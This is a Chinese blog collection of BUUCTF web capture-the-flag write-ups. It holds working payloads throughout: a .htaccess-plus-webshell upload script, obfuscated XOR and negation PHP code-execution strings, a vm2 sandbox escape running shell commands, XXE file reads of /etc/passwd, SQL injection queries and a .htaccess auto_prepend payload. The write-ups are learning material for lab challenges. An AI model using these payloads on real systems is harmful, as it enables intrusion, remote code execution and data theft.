目录

buuctfweb刷题第四页

buuctf——web刷题第四页

第四页


[SUCTF 2019]EasyWeb

源码:

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

count_chars:

https://i-blog.csdnimg.cn/img_convert/2d8dc2bd577356ecf957c1af1ee42d22.png

异或构造:

输出可用字符集

<?php
for($ascii=0;$ascii<256;$ascii++){
    if ( !preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($ascii)) )
    {
        echo $ascii.',';
    }
}
?>
def func(str):
    s=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,
       94,123,125,128,129,130,131,132,133,134,135,136,137,138,
       139,140,141,142,143,144,145,146,147,148,149,150,151,152,
       153,154,155,156,157,158,159,160,161,162,163,164,165,166,
       167,168,169,170,171,172,173,174,175,176,177,178,179,180,
       181,182,183,184,185,186,187,188,189,190,191,192,193,194,
       195,196,197,198,199,200,201,202,203,204,205,206,207,208,
       209,210,211,212,213,214,215,216,217,218,219,220,221,222,
       223,224,225,226,227,228,229,230,231,232,233,234,235,236,
       237,238,239,240,241,242,243,244,245,246,247,248,249,250,
       251,252,253,254,255]
    for i in s:
        for j in s:
            if chr(i^j)==str and hex(i)=='0x81': # 0x81为_
                #print(chr(j),chr(i))
                print(hex(j),hex(i))

string = "_GET"
for m in string:
    func(m)

https://i-blog.csdnimg.cn/img_convert/734df19669a86d9c76eabd0b6c7d7afb.png

?_=${%de%c6%c4%d5^%81%81%81%81}{%81}()&%81=phpinfo

其实就是?=$GET{}()&=phpinfo

https://i-blog.csdnimg.cn/img_convert/49de853e106842f1eeec02a795733b36.png

当然,这个试非预期解:

$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);根据ip来md5加密;

然后不能出现 ph <?

上传 .htaccess文件:

import requests
import base64

url = "http://fc5e19e8-2ac4-470f-86f8-9e0604126180.node4.buuoj.cn:81/?_=${%de%c6%c4%d5^%81%81%81%81}{%81}();&%81=get_the_flag"

htaccess = b"""
#define width 1
#define height 1
AddType application/x-httpd-php .r
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_c47b21fcf8f0bc8b3920541abd8024fd/shell.r"
"""
shell = b"GIF89a00" + base64.b64encode(b"<?php eval($_POST[1]);?>")

#通过base64加密绕过文件内容判断,然后包含的时候再解密


file1 = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"submit"}
res = requests.post(url = url,data = data,files = file1)
print(res.text)

file2 = {'file':('shell.r',shell,'image/jpeg')}
data = {"upload":"submit"}
res = requests.post(url = url,data = data,files = file2)
print(res.text)

[GKCTF 2021]easycms

cms

提示

https://i-blog.csdnimg.cn/img_convert/4d5c0748614774eba299adc874683140.png

扫描到admin.php

弱口令的话尝试admin/12345,还真是

然后就是设计——>自定义——>导出主题

然后复制下载链接:

https://i-blog.csdnimg.cn/img_convert/67516d35e463d036566550de55dd0c5a.png

估计是任意文件下载

直接下载后缀改为txt打开即可

[BJDCTF2020]EzPHP

$_SERVER['QUERY_STRING'],$_REQUEST

https://i-blog.csdnimg.cn/img_convert/30e8095b7d81ea53ab2b515989b7dd18.png

base32解码

<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>

开始处于:

`if (file_get_contents($file) !== ‘debu_debu_aqua’)

die(“Aqua is the cutest five-year-old child in the world! Isn’t it ?
”);`

$_SERVER['QUERY_STRING'不会对传入的参数url编码,我们就直接unicode全编码

from urllib.parse import quote

original_string = "ctf"
encoded_string = ''.join(['%' + format(ord(char), '02X') for char in original_string])
print(encoded_string)

然后是:/^aqua_is_cute$/

^表示头,$表示尾,换行绕过

?%64%65%62%75=%61%71%75%61%5F%69%73%5F%63%75%74%65%0a

%0A换行

https://i-blog.csdnimg.cn/img_convert/3d3caaa935a243bab28eb0d026d97464.png

然后是这个:$_REQUEST是post和get都有,但是post的优先级更高,直接post:debu=1覆盖掉get的

file就用data伪协议:

https://i-blog.csdnimg.cn/img_convert/edfef3fc4245bd0ec837f7438eac1f0f.png

然后:

https://i-blog.csdnimg.cn/img_convert/9e55755d8040561d5e6ff4da83add867.png

sha1强比较

emmm,真正的强比较试了一下,发现有东西被ban了,那就直接用数组绕过

https://i-blog.csdnimg.cn/img_convert/3729fd14b13cf42f87253a3bbefcc899.png

最后一步:

https://i-blog.csdnimg.cn/img_convert/202c2da63d5a428353175ffe42db894e.png

因为前面有个extract($_GET["flag"]);

可以利用这个覆盖code和arg

看到什么’’,$arg第一个i选哪个到的就是create_function

arg只需要加},和;//就可以闭合,如:

function a('',$arg){
    return }代码;//
}

flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

这里直接用get_defined_vars输出所有定义的量

https://i-blog.csdnimg.cn/img_convert/9ed7efcdec76fc28da317fb41483f722.png

emmm,有个 rea1fl4g.php ,那就用filter来读,因为.被ban了,那就取反吧:

include被ban了就用requrie

require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)

https://i-blog.csdnimg.cn/img_convert/68950a6446373cac2fcfd3f2b64a676d.png

最终:

get:

?%64%65%62%75=%61%71%75%61%5F%69%73%5F%63%75%74%65%0a&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6E%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//

post:

debu=1&file=2&shana=3&passwd=4&flag=5

https://i-blog.csdnimg.cn/img_convert/d4d10621b89653043128c344a1eed44f.png

nb

[GYCTF2020]EasyThinking

https://i-blog.csdnimg.cn/img_convert/81e79079b86361b8e9cf661c871fc4a0.png

thinkphp6的框架,查查看漏洞

我们可以通过修改自己session的内容规定名字

https://i-blog.csdnimg.cn/img_convert/1b49388b650bd777c1e4764fdabcc0d8.png

login界面的session值是一个全局的值(这里加php记得先去4个字符再加,满足条件)

session存的位置:

/runtime/session/sess_22eb1fd45e759cfcea9ac956f6b2.php

https://i-blog.csdnimg.cn/img_convert/e94414092060f64b04abb7c485325ef5.png

这里的session就是我们要的了

https://i-blog.csdnimg.cn/img_convert/a3c0945278b10b00a31659b1fa613508.png

然后就是flag看不了用readflag

disable_functions绕过

https://i-blog.csdnimg.cn/img_convert/bcec7e635868381c7a60a6e5c12c1a62.png

https://i-blog.csdnimg.cn/img_convert/9e11b38e6a3e5b55c07c6cdfdaeeca28.png

[GXYCTF2019]StrongestMind

https://i-blog.csdnimg.cn/img_convert/596d833dbf8a58ca393575756b1e86f6.png

那就写个脚本吧(ai搓一个)

import requests
from bs4 import BeautifulSoup
import re
import time

url = "http://7f0b0f66-dfb2-4fda-b338-8585dbd49bb0.node5.buuoj.cn:81/index.php"

session = requests.Session()

for i in range(1, 1023):
    time.sleep(0.1)

    if i == 1:
        response = session.get(url)
    else:
        response = post_response  # 从上次响应中读取下一道题

    response.encoding = 'utf-8'
    soup = BeautifulSoup(response.text, 'html.parser')
    center_text = soup.find('center').get_text(strip=True)
    print("原始文本内容:", center_text)

    # 清洗文本,只保留数字和运算符
    cleaned_text = re.sub(r'[^\d+\-\s]', '', center_text)
    match = re.search(r'(\d+)\s*([+-])\s*(\d+)', cleaned_text)

    if match:
        formula = f"{match.group(1)}{match.group(2)}{match.group(3)}"
        answer = eval(formula)
        print(f"计算结果: {answer}")
    else:
        raise ValueError("未找到有效的算式")

    # 提交答案
    data = {
        "answer": str(answer)
    }
    post_response = session.post(url, data=data)
    post_response.encoding = 'utf-8'
    print("提交成功!响应内容:")
    print(post_response.text)

[WMCTF2020]Make PHP Great Again

require_once

https://i-blog.csdnimg.cn/img_convert/18b09a37874f0eba07ac688325b89617.png

https://i-blog.csdnimg.cn/img_convert/1c84b5c91ae6232c8a09cf2244ef7ac5.png

require-once如果包含过多软链接就会失效

  • /proc/self//proc/[pid]/ 的软链接,指向当前进程的 /proc/[pid] 目录。
  • /proc/self/root 是指向当前进程的 根目录(root directory) 的软链接
软链接的基本概念
  • 软链接是一个独立的文件 ,它的内容只是一个路径字符串。
  • 它指向另一个实际存在的文件或目录。
  • 如果原文件被删除,软链接会变成“死链”(失效)

那这里就用filter

php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

出来base64解密

[SUCTF 2018]GetShell

禁数字字母文件上传

有个这个:

https://i-blog.csdnimg.cn/img_convert/97e65144d385ffee17ef0272cb8e2d0f.png

访问:

https://i-blog.csdnimg.cn/img_convert/a153458b41c42d888d577786962bdf17.png

随便传一个空的txt文件,发现他会自动变成php

https://i-blog.csdnimg.cn/img_convert/1cf74b6250c9e2c8a62ef513c369cfac.png

那就去看看怎么写入一句话木马

fuzz发现这里的数字,字母都用不了

利用中文字符 + 取反 + 字符串拼接来绕过敏感词过滤器

<?=                
$_=[];             //array
$__=$_.$_;         //arrayarray 
$_=($_==$__);      //不成立 false -->0
$__=($_==$_);      //成立   true  -->1
$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];  //system
$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];         //_Post
$___($$____[_]);   //system($_POST[_]);
$comm1="index.php";tac /fla*;"" 然后就system执行了 #### [HFCTF2020]JustEscape ###### vm2沙盒逃逸(不懂) 看看run.php ![](https://i-blog.csdnimg.cn/img_convert/79bfdbb10890cceecbe5ede089efc143.png) 看来大佬的wp,这里考的是vm沙箱逃逸 因为有提示说不是php, 先用Error().stack测试一下 ![](https://i-blog.csdnimg.cn/img_convert/004e250b62fe32248521cb302a0bbad2.png) vm.js GitHub上有大佬写了脚本: ``` "use strict"; const {VM} = require('vm2'); const untrusted = '(' + function(){ TypeError.prototype.get_process = f=>f.constructor("return process")(); try{ Object.preventExtensions(Buffer.from("")).a = 1; }catch(e){ return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString(); } }+')()'; try{ console.log(new VM().run(untrusted)); }catch(x){ console.log(x); } ``` 然后prototype这些被过滤了的,可以用 [`${`${`prototyp`}e`}`] 或者 [`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`]," 绕过: 改完之后: 有 . 用[] ``` (function (){ TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)(); try{ Object.preventExtensions(Buffer.from(``)).a = 1; }catch(e){ return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`ls`).toString(); } })() ``` /run.php?code=(function (){ TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)(); try{ Object.preventExtensions(Buffer.from(``)).a = 1; }catch(e){ return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`tac /flag`).toString(); } })() #### [b01lers2020]Life on Mars ###### 多库查询 ![](https://i-blog.csdnimg.cn/img_convert/bddf504766817e035eedab2e9f774216.png) static/js/life_on_mars.js 访问这个试试 ![](https://i-blog.csdnimg.cn/img_convert/50a430ecb9fca146dc15c7a3ca003a05.png) 有个query?search= 加上olympus_mons后回显了一个数据集,有可能是sql注入 然后因为是get_file ![](https://i-blog.csdnimg.cn/img_convert/a8be27bf6dd598cccc76ed265fad037e.png) 所以这些参数都可以 ![](https://i-blog.csdnimg.cn/img_convert/45cc185c4f33fb850f414acd7609e252.png) olympus_mons order by 2 发现真可以 olympus_mons union select 1,database() ![](https://i-blog.csdnimg.cn/img_convert/2ca4b76a8ef065fdc18ff5950f80c58b.png) 成功回显 olympus_mons union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='aliens') ![](https://i-blog.csdnimg.cn/img_convert/474e209998b8af0d40cb9d603cf0b12c.png) 发现和主页一样,那应该是不止一个库了 在information.schema.schemate中看 olympus_mons union select 1,group_concat(database()) from information_schema.schemata ![](https://i-blog.csdnimg.cn/img_convert/765e77eb0090644317c1188207812363.png) 3个一样的 换一下: olympus_mons union select 1,group_concat(schema_name) from information_schema.schemata ![](https://i-blog.csdnimg.cn/img_convert/f041e5a532ef48d3a42219e4fd334dad.png) 估计就是这个alien_code了 olympus_mons union select 1,group_concat(table_name) from information_schema.tables where table_schema='alien_code' ![](https://i-blog.csdnimg.cn/img_convert/c452e800354b231a9257462e81c95b8c.png) olympus_mons union select 1,group_concat(column_name) from information_schema.columns where table_name='code' ![](https://i-blog.csdnimg.cn/img_convert/493f2c5672453160ac89001764e8adcc.png) olympus_mons union select 1,group_concat(code) from alien_code.code ![](https://i-blog.csdnimg.cn/img_convert/d2933d9b3b4ef00f426632741e5eca35.png) #### [极客大挑战 2020]Greatphp ###### Error绕过md5,sha1,反序列化 ![](https://i-blog.csdnimg.cn/img_convert/9890fb3997561718eea5269d29c4e685.png) 这里不能用数组,用error $a=new Error(payload,1);$b=new Error(payload,2); 这个的报错模式为: ![](https://i-blog.csdnimg.cn/img_convert/46523dcf642e89848e0e82783ca5a154.png) 先用?>闭合,所以为?>,然后因为"被ban了,所以用取反
<?php
class SYCLOVER {
    public $syc;
    public $lover;
 
    public function __construct($b,$c){
        $this->syc = $b;
        $this->lover = $c;
    }
}
$flag = ~("/flag");
$str = "?><?=include~".$flag."?>";
$b = new error($str,1);$c=new error($str,2);
$a = new SYCLOVER($b,$c);

echo(urlencode(serialize($a)));
?>

O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D

[CSAWQual 2019]Web_Unagi

xml绕过

https://i-blog.csdnimg.cn/img_convert/6dcc985a2e26f1b3fbb5183f74697378.png

然后看了一下,这个是xml格式的

<?xml version="1.0"?> 
<!DOCTYPE users [
<!ENTITY flag SYSTEM "file:///flag">    
]> <!-- 引用外部实体flag-->
<users> 
    <user>
        <username>114514</username>
        <password>1</password>
        <name>11</name>
        <email>1.com</email>
        <group>CSAW2025</group>
        <intro>&flag;</intro> 
    </user>
</users>

https://i-blog.csdnimg.cn/img_convert/275f997d7c5ee82850f8b07c7e45dfc3.png

被拦截了,然后绕过的话尝试把UTF-8换成UTF-16

https://i-blog.csdnimg.cn/img_convert/e5da1485a91df27dfe1083ebd96b8f13.png

https://i-blog.csdnimg.cn/img_convert/08492bd2e8357c957f406d8397a26ca6.png

[BSidesCF 2019]SVGMagic

SVG&proc

SVG是啥,搜一下

https://i-blog.csdnimg.cn/img_convert/438d5841d60dcfd8a67fc1b8226d9485.png

XML啊,估计就是xxe了

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note [

<!ENTITY flag SYSTEM "file:///etc/passwd" >

]>

<svg height="300" width="300">
  <text x="30" y="30">&flag;</text>
</svg>

试试

https://i-blog.csdnimg.cn/img_convert/031796efd178e91e940e117689694a52.png

可以

然后这里为什么是flag.txt呢,看来其他师傅的博客,好像没找到怎么来的,就靠猜的吧

<!--test.svg-->
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note [

<!ENTITY flag SYSTEM "file:///proc/self/cwd/flag.txt" >
]>

<svg height="300" width="1000">
  <text x="30" y="30">&flag;</text>
</svg>

https://i-blog.csdnimg.cn/img_convert/e6b83503c92674df129e3761e4df3902.png

/proc/self/root & pwd & cwd

/proc/self:指当前正在访问该路径的进程自身

root: 表示当前进程的 根目录

cwd: 表示当前进程的 当前工作目录

pwd: 是 /proc/self/cwd 的一个符号链接

[ISITDTU 2019]EasyPHP

https://i-blog.csdnimg.cn/img_convert/bd3210b4faf29d56a7168a17ae2509f0.png

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd ) die('you are so close, omg');

如果输入字符串中使用的不同字符数量超过 13 种 ,就触发 die()

取反没东西,试试异或:

取反的话和 %ff的异或结果一样:

?_=((%8F%97%8F%96%91%99%90)^(%ff%ff%ff%ff%ff%ff%ff))();

https://i-blog.csdnimg.cn/img_convert/93c40aade026e4627a306793f15640f7.png

然后用 print_r(scandir(.))

?_=(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%D1)^(%FF)));

但是试了一下发现过13了

然后看来别人的文章, 使用异或的方法,通过已存在的字符构造三个没有的字符

str = 'pscadi'
target = 'ntr'
 
for m in target:
    for a in str:
        for b in str:
            for c in str:
                if ord(a)^ord(b)^ord(c) == ord(m):
                    print("{} = {}^{}^{}".format(m,a,b,c))
输出(取了三个结果):
n = c^d^i
t = s^c^d
r = p^c^a

替换ntr

payload:

?_=((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));

https://i-blog.csdnimg.cn/img_convert/75ebc38775f72ca734c97019cdaf5418.png

用end直接将指针执行最后一个文件,然后读取

readfile(end(scandir(.))

异或:((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%91%9B)^(%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

还是超了

str = 'readfile'
target = 'nsc'
 
for m in target:
    for a in str:
        for b in str:
            for c in str:
                if ord(a)^ord(b)^ord(c) == ord(m):
                    print("{} = {}^{}^{}".format(m,a,b,c))
 
输出(取三个结果):
n = a^f^i
s = r^e^d
c = a^d^f

?_=((%8D%8D%8D%8D%8D%8D%9E%8D)^(%9A%8D%8D%8D%8D%8D%9B%8D)^(%9A%9A%9E%9B%99%96%96%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%8D%9E%8D)^(%8D%99%8D)^(%9A%96%9B)^(%FF%FF%FF))(((%8D%9E%8D%9E%8D%8D%8D)^(%9A%9B%8D%99%8D%8D%9A)^(%9B%99%9E%96%9B%96%9A)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

[羊城杯2020]easyphp

.htaccess包含自身

https://i-blog.csdnimg.cn/img_convert/e12bf24a3520bdd3ec07fc0719c0343b.png

unlink

https://i-blog.csdnimg.cn/img_convert/631cf564bd26aee1e345ddac69ef3854.png

如果不是index.php就会被删掉,然后ban了几个单词,我估计flag就在flag里

那我们这里就写入.hatccess

因为这里file和flag被ban了,然后\拼接上下文的

php_value auto_prepend_fil\

e .htaccess

#

?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%20e%20.htaccess%20#%3C%3Fphp%20system(‘cat%20%2Ffla*’)%3B%3F%3E

[FireshellCTF2020]Caas

#include文件包含

尝试echo 1

https://i-blog.csdnimg.cn/img_convert/b10202b6cf49282a71d993926294301a.png

然后看看报错了啥:

https://i-blog.csdnimg.cn/img_convert/4d243331dfcaa52ddf704e50b4e7a38d.png

这是一个c的编译器,然后看了其他师傅的wp,这用#include包含:

#include “/etc/passwd”

https://i-blog.csdnimg.cn/img_convert/c16ac2be04918d54bcf2ce96b46f2567.png

#include “/proc/self/root/flag”

https://i-blog.csdnimg.cn/img_convert/897eb44347d6c0bb732a1d356b2796a8.png

[HarekazeCTF2019]Avatar Uploader 1

https://i-blog.csdnimg.cn/img_convert/71300dc05772f4c24b9e2241f9a991cf.png

看看正则:

  • 输入的字符串必须以开头 (^) 开始,以结尾 ($) 结束。
  • 字符串的长度必须在 4 到 16 个字符 之间。
  • 字符串中的每个字符只能是 数字 (0-9)大写字母 (A-Z)小写字母 (a-z)下划线 (_)

看看源码:

<?php
// 关闭错误报告,可能会隐藏一些错误信息,在开发阶段可考虑开启(例如 error_reporting(E_ALL))
error_reporting(0); 
 
// 引入配置文件,可能包含一些常量和配置信息
require_once('config.php'); 
// 引入工具类文件,可能包含一些常用的工具函数
require_once('lib/util.php'); 
// 引入会话管理类文件,可能包含安全会话相关的功能
require_once('lib/session.php'); 
 
// 创建一个新的 SecureClientSession 对象,使用预定义的 CLIENT_SESSION_ID 和 SECRET_KEY 作为参数
$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY); 
 
// 检查是否有文件被上传,如果文件不存在或不是通过 HTTP POST 上传的文件,输出错误信息
if (!file_exists($_FILES['file']['tmp_name']) ||!is_uploaded_file($_FILES['file']['tmp_name'])) {
  error('No file was uploaded.');
}
 
// 检查文件大小,如果文件大小超过 256000 字节,输出错误信息
if ($_FILES['file']['size'] > 256000) {
  error('Uploaded file is too large.');
}
 
// 检查文件类型
$finfo = finfo_open(FILEINFO_MIME_TYPE);
// 获取文件的 MIME 类型
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
// 如果文件类型不是 image/png,输出错误信息
if (!in_array($type, ['image/png'])) {
  error('Uploaded file is not PNG format.');
}
 
// 检查文件的宽高
$size = getimagesize($_FILES['file']['tmp_name']);
// 如果文件的宽度或高度大于 256 像素,输出错误信息
if ($size[0] > 256 || $size[1] > 256) {
  error('Uploaded image is too large.');
}
// 如果文件的类型不是 IMAGETYPE_PNG,输出错误信息并显示 FLAG1(可能是用于调试或意外情况)
if ($size[2]!== IMAGETYPE_PNG) {
  // I hope this never happens...
  error('What happened...? OK, the flag for part 1 is: <code>'. getenv('FLAG1'). '</code>');
}
 
// 生成一个随机的文件名,使用 bin2hex(random_bytes(4)) 生成一个 8 位的十六进制字符串并添加.png 后缀
$filename = bin2hex(random_bytes(4)). '.png';
// 将上传的文件移动到 UPLOAD_DIR 目录下,并使用生成的随机文件名
move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_DIR. '/'. $filename);
 
// 在会话中存储文件名
$session->set('avatar', $filename);
// 显示一个成功的消息
flash('info', 'Your avatar has been successfully updated!');
// 重定向到根目录
redirect('/');

if ($size[2]!== IMAGETYPE_PNG) {

// I hope this never happens…

error(‘What happened…? OK, the flag for part 1 is: ’. getenv(‘FLAG1’). ‘’);

}因该是这里输出flag

https://i-blog.csdnimg.cn/img_convert/6302b3910436fd51b80a624399196c57.png

https://i-blog.csdnimg.cn/img_convert/951b9eec4dfc6a34e036cf32f0163c5a.png

[SCTF2019]Flag Shop

ruby,jwt

https://i-blog.csdnimg.cn/img_convert/0feb236371dd9daaeb08a064fe47b65b.png

分析一下

eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJhMTE4NWY4Ni0xZDczLTRmMjktODI5ZC1kMzYwZGYwNjY2YjUiLCJqa2wiOjIwfQ.Qkt32DrXtgUUgafRubSL-ouIkc1xZfxNlp5rGaHydoE

https://i-blog.csdnimg.cn/img_convert/3f70f11b3ea3d47283429db83d1a2f2b.png

https://i-blog.csdnimg.cn/img_convert/7c601e8c9f61b76b0016d9bf1bf15467.png

ewogICJ1aWQiOiAiYTExODVmODYtMWQ3My00ZjI5LTgyOWQtZDM2MGRmMDY2NmI1IiwKICAiamtsIjogMTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAKfQ

伪造但是显示

https://i-blog.csdnimg.cn/img_convert/8187561f37c3a32f9f9064cc0074018e.png

robots.txt

https://i-blog.csdnimg.cn/img_convert/fb7f9273f6041809694d320b6bb13d53.png

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
  enable :logging
  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
  file.sync = true
  use Rack::CommonLogger, file
end

get "/" do
  redirect '/shop', 302
end

get "/filebak" do
  content_type :text
  erb IO.binread __FILE__
end

get "/api/auth" do
  payload = { uid: SecureRandom.uuid , jkl: 20}
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
  cookies[:auth] = auth
end

get "/api/info" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
  erb :shop
end

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

